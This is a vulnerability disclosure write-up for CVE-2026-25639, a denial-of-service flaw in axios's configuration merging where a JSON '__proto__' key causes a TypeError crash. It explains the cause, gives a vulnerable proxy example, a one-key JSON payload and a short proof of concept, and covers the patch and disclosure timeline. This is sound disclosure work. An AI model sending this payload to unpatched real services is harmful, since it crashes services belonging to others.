
A Striga scan of axios revealed a prototype chain lookup that crashes any Node.js service forwarding user-controlled JSON through the world's most popular HTTP client.
Overview
Axios is the most downloaded HTTP client in the JavaScript ecosystem, with over 435 million monthly npm downloads.
A Striga scan of the axios codebase surfaced a denial of service vulnerability in the library's configuration merge pipeline. One JSON key in a request body crashes any Node.js service that forwards user input through axios, without requiring authentication or any special conditions.
The vulnerability was assigned CVE-2026-25639 with a CVSS 3.1 score of 7.5 (High).
How Configuration Merging Works
Every axios request passes through mergeConfig, a function that combines instance defaults with request-specific options. It runs inside Axios._request(), Axios.getUri(), and every HTTP method shortcut.
lib/core/Axios.js
config = mergeConfig(this.defaults, config);The merge logic iterates over all keys from both config objects and selects a merge strategy from a lookup map.
lib/core/mergeConfig.js
const mergeMap = {
url: valueFromConfig2,
method: valueFromConfig2,
data: valueFromConfig2,
baseURL: defaultToConfig2,
...
validateStatus: mergeDirectKeys,
headers: (a, b, prop) =>
mergeDeepProperties(headersToObject(a), headersToObject(b), prop, true),
};
utils.forEach(
Object.keys({ ...config1, ...config2 }),
function computeConfigValue(prop) {
const merge = mergeMap[prop] || mergeDeepProperties;
const configValue = merge(config1[prop], config2[prop], prop);
(utils.isUndefined(configValue) && merge !== mergeDirectKeys) ||
(config[prop] = configValue);
},
);For known keys like url, method, or headers, the map returns a dedicated merge function. For any key not in the map, the || operator falls back to mergeDeepProperties. Striga flagged the mergeMap[prop] lookup as a prototype chain traversal path.
The Crash
mergeMap is a plain JavaScript object. When the property lookup mergeMap['__proto__'] executes, JavaScript doesn't find __proto__ as an own property of mergeMap. It walks the prototype chain and returns Object.prototype, the actual prototype of every plain object.
Object.prototype is truthy. The || fallback never fires. The variable merge is assigned Object.prototype, an object, not a function.
const merge = mergeMap["__proto__"] || mergeDeepProperties;
const configValue = merge(config1[prop], config2[prop], prop);The first line resolves to Object.prototype. The second line calls it. TypeError: merge is not a function.
The remaining piece is how __proto__ ends up as an own enumerable key in a config object. Regular object literals treat __proto__ as a prototype setter via the [[Prototype]] slot, so it never appears in Object.keys(). JSON.parse bypasses this by using [[DefineOwnProperty]] semantics, creating __proto__ as a regular data property.
const obj = JSON.parse('{"__proto__": {"x": 1}}');
Object.keys(obj);This returns ['__proto__']. Any application that deserializes user input with JSON.parse and passes the result to an axios method triggers the crash.
The __proto__ key combined with an unguarded property lookup initially suggested prototype pollution. The assignment config[prop] = configValue at the end of the iteration body cannot pollute the prototype. The TypeError kills execution before reaching it. The impact is denial of service, not prototype pollution.
The Attack
Any proxy or API gateway that forwards user input through axios is exposed. Consider a typical forwarding endpoint:
app.post("/api/proxy", async (req, res) => {
const { url, ...options } = req.body;
const response = await axios.get(url, options);
res.json(response.data);
});Express parses the incoming JSON body. Destructuring extracts url and spreads the remaining properties, including __proto__, into options. That object flows directly into axios as the config argument. An attacker sends:
{ "url": "https://api.example.com/data", "__proto__": { "x": 1 } }The __proto__ key reaches mergeConfig and triggers the TypeError. Without a top-level error handler, the process crashes outright. With one, every affected request returns 500.
Proof of Concept
Tested against axios 1.13.4 on Node.js v23.10.0:
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)
The entire payload fits in a single JSON key.

Normal and nested configs pass. The __proto__ config crashes with TypeError: merge is not a function inside mergeConfig.
Impact
Any Node.js service that forwards user-controlled JSON through axios fails on this payload without authentication, special headers, or timing conditions.
Fix
Patched in axios 1.13.5 and 0.30.3. The mergeMap lookup now uses hasOwnProperty to prevent prototype chain interference, and both mergeConfig and utils.merge skip __proto__, constructor, and prototype keys.
Disclosure Timeline
| Date | Event |
|---|---|
| 28 Jan 2026 | Report submitted to axios maintainers |
| 3 Feb 2026 | Report accepted by axios maintainers |
| 4 Feb 2026 | CVE requested |
| 5 Feb 2026 | CVE-2026-25639 assigned |
| 8 Feb 2026 | Patch released (v1.13.5) |